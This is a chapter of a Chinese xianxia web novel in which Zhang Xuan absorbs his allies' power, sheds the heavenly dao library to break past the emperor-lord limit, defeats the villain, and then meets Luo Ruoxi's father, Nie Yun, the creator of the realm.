刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！